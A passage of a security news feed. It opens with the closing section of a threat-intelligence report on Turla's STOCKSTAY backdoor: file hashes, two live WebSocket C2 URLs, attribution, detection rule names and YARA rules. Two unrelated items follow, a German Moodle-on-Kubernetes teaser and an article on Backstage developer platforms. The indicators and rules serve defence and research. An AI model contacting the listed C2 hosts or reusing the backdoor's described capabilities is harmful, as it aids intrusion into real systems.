<div class="block-paragraph_advanced"><p><span>GTIG observed two distinct STOCKSTAY WebSocket C2 URLs being used during this phishing wave. The majority of instances used the URL </span><code>wss://driverx86-adobe.onrender.com/ws</code><span>; however, we were able to identify at least one instance of STOCKSTAY using </span><code>wss://google-ai-labs-it.onrender.com/ws</code><span>, corresponding to the previously described GitHub repository associated with the </span><code>ChikenFresh</code><span> user.</span></p>
<p><span>Alongside the core STOCKSTAY components, the malicious RAR archives contained LNK files, described as “Updater Shortcut”, corresponding to each core STOCKSTAY component. The extraction file path was configured to attempt to deploy into the startup programs directory. </span></p>
<p><span>GTIG was able to identify that the actor began creating the LNK files for this operation approximately six hours prior to the first phishing emails being sent, with the Ukrainian-language lure documents being created around four hours prior.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
<td>
<p><span>Module containing core crypt and obfuscation routines, historically found within core STOCKSTAY components</span></p>
</td>
<td>
<p><code>b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
<td>
<p><span>Module containing backdoor command handlers, historically found within STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
<td>
<p><span>Module containing STOCKSTAY’s IPC logic, historically found within each STOCKSTAY component</span></p>
</td>
<td>
<p><code>e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 22: File indicators</span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://driverx86-adobe.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 23: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attribution</span></h3>
<p><span>GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.</span></p>
</li>
</ul>
<p><span>Turla has a consistent focus on targeting Ukrainian Defense and Military organizations, and was identified within a Mandiant Incident Response deploying STOCKSTAY alongside a range of other proprietary Turla malware, such as WILDDAY, DIAMONDBACK, and KAZUAR.</span></p>
<h3><span>Detections</span></h3>
<h4><span>Google Security Operations (SecOps)</span></h4>
<p><span>SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats, Mandiant Hunting and Mandiant Intel Emerging Threats rule packs:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Archiver Extraction To Windows Startup</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write Registry Run Keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write to Run Registry Key</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Potential RDP File Write From Phishing</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>RDP Connection Initiated from Staging Directory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Onrender Subdomain Suspicious DNS Query</span></p>
</li>
</ul>
<h4><span>YARA Rules</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize &gt; 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat. </span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Moodle mit Kubernetes installieren: So gelingt Ihr skalierbares Setup!]]></title>
<description><![CDATA[Moodle zählt zu den bekanntesten Open-Source-Lernplattformen und wird vor allem in Schulen, Hochschulen und Unternehmen eingesetzt. Wenn die Nutzerzahlen steigen, stoßen klassische Installationen jedoch schnell an ihre Grenzen. Kubernetes bietet hier eine leistungsstarke Lösung, um Moodle flexibe...]]></description>
<link>https://tsecurity.de/de/3624452/server/moodle-mit-kubernetes-installieren-so-gelingt-ihr-skalierbares-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624452/server/moodle-mit-kubernetes-installieren-so-gelingt-ihr-skalierbares-setup/</guid>
<pubDate>Thu, 25 Jun 2026 14:15:17 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/Moodle_Kubernetes_Installation.png" width="1678" height="937" alt=""><br>Moodle zählt zu den bekanntesten Open-Source-Lernplattformen und wird vor allem in Schulen, Hochschulen und Unternehmen eingesetzt. Wenn die Nutzerzahlen steigen, stoßen klassische Installationen jedoch schnell an ihre Grenzen. Kubernetes bietet hier eine leistungsstarke Lösung, um Moodle flexibel zu betreiben und automatisch zu skalieren. In dieser Anleitung erfahren Sie Schritt für Schritt, wie Sie Moodle in einem Kubernetes-Cluster installieren und konfigurieren.]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a state-of-the-art development platform with Backstage]]></title>
<description><![CDATA[Key takeaways




Backstage solved the portal problem, not the platform problem. A portal organizes catalogs, documentation, and templates. A platform owns deployments, environments, policies, and runtime operations. Backstage assumes that the execution layer exists beneath it.



Point-to-point ...]]></description>
<link>https://tsecurity.de/de/3623951/ai-nachrichten/building-a-state-of-the-art-development-platform-with-backstage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623951/ai-nachrichten/building-a-state-of-the-art-development-platform-with-backstage/</guid>
<pubDate>Thu, 25 Jun 2026 11:34:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>Backstage solved the portal problem, not the platform problem. A portal organizes catalogs, documentation, and templates. A platform owns deployments, environments, policies, and runtime operations. Backstage assumes that the execution layer exists beneath it.</li>



<li>Point-to-point integrations become a maintenance burden. Many organizations end up with a “messy middle” where Backstage is connected directly to <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a>, <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html" data-type="link" data-id="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a>, <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, and <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html" data-type="link" data-id="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> tools through custom wiring that’s fragile and hard to evolve.</li>



<li>Abstractions are the interface between developers and infrastructure. Developers work with components, endpoints, and dependencies. Platform engineers work with environments, pipelines, and component types. The platform compiles both into Kubernetes resources.</li>



<li>A control plane bridges the gap. It sits between the portal and runtime, compiling abstractions into infrastructure, enforcing policies consistently, reconciling drift, and aggregating runtime state back to the portal.</li>



<li>Good abstractions enable advanced capabilities. Unified observability, automated guardrails, and AI agents that can reason about and act on your platform. All becomes possible when you have well-defined concepts and a control plane that understands both sides.</li>
</ul>



<p>…</p>



<h2 class="wp-block-heading">Start with Backstage</h2>



<p>If you’re building an <a href="https://www.infoworld.com/article/2263059/what-is-an-internal-developer-platform-paas-done-your-way.html" data-type="link" data-id="https://www.infoworld.com/article/2263059/what-is-an-internal-developer-platform-paas-done-your-way.html">internal developer platform</a>, Backstage is certainly part of your architecture. It solved the discovery problem and became the default choice for developer portals.</p>



<p>Before Backstage, developers navigated wikis, spreadsheets, and tribal knowledge just to find who owned a service or how to spin up a new one. Backstage brought structure: a unified catalog, a plugin ecosystem, and golden-path templates that actually got adopted.</p>



<p><a href="https://github.com/backstage/backstage" data-type="link" data-id="https://github.com/backstage/backstage">Backstage</a> is a Cloud Native Computing Foundation (CNCF) project with one of the most active contributor communities in the ecosystem. When organizations evaluate developer portals, Backstage is the starting point.</p>



<p>However, many teams discover something after deployment: Backstage provides a portal, not a platform. A portal organizes information. A platform owns execution: deployments, environments, policies, observability, and runtime operations.</p>



<p>Backstage assumes that the execution layer exists beneath it. That layer is where most of the complexity lives, and it’s what this article is about.</p>



<h2 class="wp-block-heading"><a></a>What a developer platform actually is</h2>



<p>A developer platform or an internal developer platform is a self-service framework you build to help developers build, deploy, and manage applications independently.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Image_01_developer_platform.png" alt="Image_01_developer_platform" class="wp-image-4189088" width="1024" height="307" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">WSO2</p></div>



<p>Most organizations already have an organically grown version of this:</p>



<ul class="wp-block-list">
<li>Developer commits code</li>



<li>CI pipeline builds and pushes images to a registry</li>



<li>Pipeline updates a GitOps repo containing Helm charts or Kubernetes manifests</li>



<li>Argo CD or Flux syncs those manifests to clusters</li>
</ul>



<p>You may have this workflow running today. The question is whether it’s a pipeline stitched together with scripts and tribal knowledge, or a platform with consistent abstractions and self-service capabilities.</p>



<h2 class="wp-block-heading"><a></a>What usually happens after adopting Backstage</h2>



<p>How do you add Backstage to this setup? The common approach is for developers to maintain Backstage entity files (primarily component and API entities) alongside the source code. Then you configure the built-in entity provider in Backstage to scan source code repositories to populate the catalog. Eventually, you’ll end up with a portal with all your systems, components, APIs, and other resources. So far, so good.</p>



<p>Once developers start using the portal, you’ll be hit with a consistent flow of feature requests:</p>



<ul class="wp-block-list">
<li>“I see my component in the catalog, but is it actually running?” You configure the Kubernetes plugin and link components to their corresponding manifests. Now developers can see pod status, deployment state, and replica counts.</li>



<li>“I need logs, metrics, and traces related to my component.” You integrate your observability stack or developers context-switch to Grafana, Datadog, or whatever you’re running. Either way, more wiring.</li>



<li>“Can I create new components from here?” You build Backstage templates that scaffold repos with the right structure, Backstage entities, Helm charts, and CI pipelines, all of which encode your organization’s best practices. Now you’re maintaining golden paths in templates, separately from the runtime configuration that actually enforces them.</li>
</ul>



<p>Each request is reasonable and achievable, but they add up.</p>



<h2 class="wp-block-heading"><a></a>The messy middle</h2>



<p>Eventually, you end up with a platform held together by point-to-point connections. Every new capability requires new wiring. Every upgrade risks breaking something. You spend more time maintaining integrations than building features.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Image_02_messy_middle.png" alt="Image_02_messy_middle" class="wp-image-4189092" width="1024" height="893" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">WSO2</p></div>



<p>You would never design a production system with this many point-to-point dependencies. Why accept it for your platform?</p>



<h2 class="wp-block-heading"><a></a>Treat the platform as a product, but also as a system</h2>



<p>Organically grown systems get you started, but once you commit to Backstage as your portal, you need a product mindset. Start from developer experience, understand their pain points, then design a system that addresses them coherently.</p>



<p>A platform is also a system. Approach it the way you would approach any production system you’re building. You wouldn’t design a back-end service without thinking about separation of concerns, clear interfaces, and extensibility.</p>



<p>The same principles apply here:</p>



<ul class="wp-block-list">
<li>Separation of concerns: Don’t mix developer-facing abstractions with infrastructure implementation. Keep them separate so you can evolve each independently.</li>



<li>Clear interfaces: Define explicit abstractions. Developers and platform engineers should interact with well-defined concepts rather than implementation details scattered across Helm charts and CI scripts.</li>



<li>Extensibility: Requirements keep changing. If every new capability requires custom wiring, you’ll spend more time maintaining than improving. Design for extension from the start.</li>
</ul>



<p>The difference between a pile of integrations and a platform is architecture. Get the system design right, and new capabilities slot in cleanly. Get it wrong, and every feature request becomes a maintenance burden.</p>



<h2 class="wp-block-heading">The missing layer beneath Backstage</h2>



<p>Moving from an organically grown pipeline to an actionable developer platform is a big leap. You probably have CI/CD pipelines that work, a Kubernetes cluster running workloads, and a Backstage catalog describing what exists.</p>



<p>The questions are:</p>



<ul class="wp-block-list">
<li>How do you transform an informational portal into one with a platform under the hood?</li>



<li>How do you bridge the gap between what the catalog describes and what’s actually running?</li>



<li>How do you enforce golden paths beyond initial scaffolding?</li>



<li>How do you design a platform that evolves with your organization’s needs?</li>
</ul>



<p>What’s missing is a connective layer between Backstage and your runtime, something that makes the portal operational rather than just informational. Let’s look at the key architectural elements to consider when designing that layer and the whole platform.</p>



<h2 class="wp-block-heading"><a></a>Start with abstractions</h2>



<p>One of the main goals of a developer platform is to reduce cognitive load. The platform should meet developers where they are and speak their language, not Kubernetes’.</p>



<p>Every organization has its own vocabulary, but the Backstage system model is a good starting point. It may not cover everything, but you can extend it with custom entities. The key is that developers work with high-level concepts while the platform compiles them into Kubernetes resources. Developers are abstracted away from the underlying details, but they can still see what’s happening underneath.</p>



